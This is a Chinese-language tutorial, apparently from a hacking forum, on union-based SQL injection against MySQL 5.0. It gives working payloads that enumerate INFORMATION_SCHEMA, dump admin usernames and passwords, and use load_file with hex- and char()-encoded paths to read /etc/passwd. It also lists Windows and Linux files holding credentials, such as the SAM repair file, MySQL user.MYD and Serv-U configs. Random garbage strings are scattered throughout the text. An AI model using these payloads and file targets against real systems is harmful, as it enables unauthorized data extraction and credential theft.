mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

+ ~2 L. B# ~+ w- N" U- S: t4 `
3 g' B7 x( F4 }
+ V! Z. n) e* \' |: c/ lMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
) S0 r; N5 t. q$ ~, G中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
; J9 S9 m* ]3 S0 Z* M* J' M明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
2 w+ L, |. j6 g|—字段：SCHEMA_NAME ->数据库名称
! C" w% n$ M0 \; H" M( G
9 r* u! r- C2 B# _4 |7 v7 w|TABLES ->存储表名
* f) S. I# y  i' e" g|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
; ?, ^6 [- J8 v3 [. `% T
; r9 e- P; ^$ h! _& [( [3 h, ~: R5 S|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
7 q5 c- J# K- G6 E|—字段：TABLE_NAME ->存储所属表的名称

$ @, y" H$ e3 X! m1 N8 i# r|—字段：COLUMN_NAME ->该字段的名称
4 w: h7 C6 z) i* C: B- K6 N
+ z9 }  A- X- n( T#########################################################################
##
, ]% O9 S4 N2 v) E2 h8 @
0×001 获取系统信息:

: d( ^# S4 H; }" w1 Hunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
3 n+ f( u( E# E' B. B- u
/*
$ c% |' o' u9 W' z
5 o- E' C: R  r+ ?0 L" q@@global.version_compile_os 获取系统版本
+ V1 Q/ N$ R: M) B4 K' }) R3 e, B
2 {8 r$ l+ t- F0 P* E7 }4 v0 B" h@@datadir 数据库路径
/ M* _% L8 |' v8 u3 sdatabase() 当前数据库名称
0x3c62723e 换行HEX值

$ p2 P" D3 O+ s, e& Q& p2 O*/
9 F3 T! E. w' D: A
######################################################################
- B" `) T5 L5 B/ Q6 L
0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
" J2 A( _) ~# V) G* O! T
% P. `2 r  a1 T' N3 ?, a3 C3 G1 `/*
8 w4 i( s; E- V8 D, A( X5 d. z
0x67617264656e 为当前数据库名
* _6 d+ x/ z. v. ?2 J$ ]/ J
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

+ z9 w. I8 B8 c6 J" b######################################################################

/ ^5 M, Y6 T3 }% H0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and


3 _( J$ n# m7 q0 i8 d8 t! stable_schema=0x67617264656e limit 1 /*
( D0 @% M! `: E! Z
5 B9 ?4 ^6 J6 u; y/ Q/*

8 U8 I% Q, B7 h9 q1 ^$ m" ?group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
& K6 W) W. h: s
; s. V' a5 M' \2 a1 y' v0x61646d696e ->选择一个表
1 ]! w$ i) P% u/ H- D$ Q) }
' C$ g1 d2 p" d; Y0x67617264656e ->数据库名
' d6 Z) I* I) s
*/
1 q6 K4 _: a( p4 y% }+ ]
#####################################################################
' t$ ^1 c5 Y, T7 ~* Y& C
0×004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

9 M% K2 t/ @7 Gunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
% h& l% h: _' p0 s; x7 Z4 A
8 B# B  V$ \& D5 n! n0 m: I/*

0x3c62723e 换行符号HEX编码
9 |! ]/ y& n8 B# p. X
group_concat 同时获得该字段所有数据

5 B- T8 `% C. S& d: E: Z# V5 {" Q*/
" \# H1 i3 k) s. `# `  ^# s


; s3 W: r) m, Z6 W  ?$ z) A# F

1 V) C  R& }6 P顺便添加一些mysql注入时非常有用的一些东西

( P" P" M& e$ E* s  P% L1 G* W简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

& ]: B- M* ?6 n' O4 |1:system_user() 系统用户名
2:user()        用户名
* V0 _9 `1 }* p3 S3:current_user()  当前用户名
6 k/ A0 c; }/ J9 p: t9 N# q6 f4:session_user()连接数据库的用户名
" e# A' S1 `7 K7 e5:database()    数据库名
4 x4 z, j! _  {! b0 U# t8 m6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
. g+ o5 G6 t8 l* s3 z+ [8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
* w, h" ?* Y" F$ o2 S" T10@version_compile_os   操作系统  Windows Server 2003,
+ d, m1 o7 D" d1 p! z7 R) D+ M收集的一些路径：
/ F; ]5 |2 j  Z) g& B5 AWINDOWS下:
! |7 k  B  c: g, J! s* J- U0 Tc:/boot.ini          //查看系统版本
8 w% ~$ {( i. o$ \. qc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
. v8 l2 \$ O/ C7 o1 Fc:/winnt/my.ini
% \. U4 C5 _8 v: A. E4 F4 ^6 qc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
3 y% l) E; `5 a0 ]) x) A* D( Zc:\Program Files\RhinoSoft.com\ServUDaemon.exe
, t  {, M: q$ _) r3 ?1 hC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
* u: a" V: P. b! K; C//存储了pcAnywhere的登陆密码
6 m, ~) x& ?1 W. zc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
8 v* V  N7 a: V; J- vc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
9 I4 M3 ^6 u6 c2 q& p
( j8 J7 N8 K: \+ M
9 s$ c" m( M4 ~4 t; [# K# @c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
9 k$ O6 h: L0 ?1 n& d( P4 S! A5 Z3 uC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
3 M" ~+ P! G. uC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
: P5 i. D. j% S. U$ S- N  L/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 A2 d$ o# }& X0 y, d7 o/usr/local/apache2/conf/httpd.conf
9 y  e, y2 E0 S* V. E0 w- q/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 A+ t9 K5 ]% w3 Q/usr/local/app/php5/lib/php.ini //PHP相关设置
* h2 q; }8 K! b' G- Y9 n/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
$ {$ f  O$ F" `6 k( W/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
6 q7 K3 b$ o% K  `9 \/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- I* ~' \; I* ~! O- e/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/ j3 i7 v6 i0 i/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
" O2 C4 F- i" @7 Z) U7 r, ^+ f/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
8 P5 R8 |/ K' [- q+ [: g' jload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
8 t7 p6 ]# h  P7 P, oreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
* ?, c$ G, |) ~4 }1 i+ V4 E  Q7 X4 h7 F上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.